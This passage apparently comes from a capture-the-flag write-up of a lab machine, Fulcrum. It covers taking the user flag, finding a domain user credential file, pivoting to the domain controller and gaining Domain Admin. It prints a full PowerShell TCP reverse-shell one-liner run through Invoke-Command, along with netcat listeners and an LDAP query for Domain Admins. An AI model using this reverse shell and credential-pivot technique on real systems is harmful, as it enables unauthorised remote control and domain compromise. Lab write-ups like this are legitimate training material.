root@dastinia:~# ncat -lnvp 53
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::53
Ncat: Listening on
Ncat: Connection from
Ncat: Connection from
PS C:\Users\BTables\Documents>

getting user flag

PS C:\Users\BTables\Desktop> dir

    Directory: C:\Users\BTables\Desktop

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        10/4/2017  10:12 PM             34 user.txt

PS C:\Users\BTables\Desktop> type user.txt

Pivoting to Domain Controller (dc.fulcrum.local)

Exploring the system you discover a myriad of files of which the contents of domain_users.csv appears to be a list of username, and passwords for various domain users.

PS C:\Users\BTables> dir

    Directory: C:\Users\BTables

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-r---        10/4/2017  10:12 PM                Desktop
d-r---        10/9/2017   8:22 PM                Documents
d-r---        7/16/2016   2:18 PM                Downloads
d-r---        7/16/2016   2:18 PM                Favorites
d-r---        7/16/2016   2:18 PM                Links
d-r---        7/16/2016   2:18 PM                Music
d-r---        7/16/2016   2:18 PM                Pictures
d-----        7/16/2016   2:18 PM                Saved Games
d-r---        7/16/2016   2:18 PM                Videos
-a----       10/12/2017   8:09 PM           5502 check-auth.ps1
-a----       10/12/2017   7:48 PM          45011 domain_users.csv
-a----       10/12/2017   7:21 PM          21002 file.txt
-a----       10/12/2017   7:21 PM          21002 file2.txt
-a----       10/12/2017   7:48 PM          45011 merged.txt
-a----       10/12/2017   7:43 PM          90002 merged2.txt
-a----       10/12/2017   7:39 PM          21002 Output.txt
-a----       10/12/2017   7:23 PM          75002 pass.txt
-a----       10/12/2017   7:23 PM          75002 pass2.txt
-a----       10/12/2017   9:16 PM          21000 result.txt
-a----       10/12/2017   9:04 PM             42 test.csv
-a----       10/12/2017   7:14 PM          18002 users.txt
-a----       10/12/2017   7:22 PM              0 wordlist.txt

contents of “domain_users.csv”


I forgot to mention, but from our either enumeration we could have discovered what users are in the domain admins by querying ldap. I forgot to gather the exact query I used, but to give an baseline idea of what the ldap query structure would have looked like: (&(objectCategory=user)(memberOf=CN=Domain Admins,CN=People,DC=fulcrum,dc=local)), but either way, by bruteforcing the credentials with a script, or querying LDAP you would discover that the user 932a is in the domain administrators group.

PS C:\Users\BTables> type domain_users.csv | findstr "923a"

getting shell on the domain controller dc.fulcrum.local

Invoke-Command -ComputerName dc.fulcrum.local -Credential 923a -Port 5985 -ScriptBlock { $client = New-Object System.Net.Sockets.TCPClient('',53);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() }
root@dastinia:~# nc -lnvp 53
listening on [any] 53 ...
connect to [] from (UNKNOWN) [] 1559

PS C:\Users\923a\Documents> whoami
PS C:\Users\923a\Documents>whoami /groups


Group Name                                     Type             SID                                           Attributes
============================================== ================ ============================================= ===============================================================
Everyone                                       Well-known group S-1-1-0                                       Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                                  Alias            S-1-5-32-545                                  Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access     Alias            S-1-5-32-554                                  Mandatory group, Enabled by default, Enabled group
BUILTIN\Administrators                         Alias            S-1-5-32-544                                  Mandatory group, Enabled by default, Enabled group, Group owner
NT AUTHORITY\NETWORK                           Well-known group S-1-5-2                                       Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users               Well-known group S-1-5-11                                      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization                 Well-known group S-1-5-15                                      Mandatory group, Enabled by default, Enabled group
FULCRUM\Domain Admins                          Group            S-1-5-21-3166400326-2861236044-2715240360-512 Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity     Well-known group S-1-18-1                                      Mandatory group, Enabled by default, Enabled group
FULCRUM\Denied RODC Password Replication Group Alias            S-1-5-21-3166400326-2861236044-2715240360-572 Mandatory group, Enabled by default, Enabled group, Local Group
Mandatory Label\High Mandatory Level           Label            S-1-16-12288
PS C:\Users\923a>

Box finally complete :)

PS C:\Users\Administrator\Desktop> type root.txt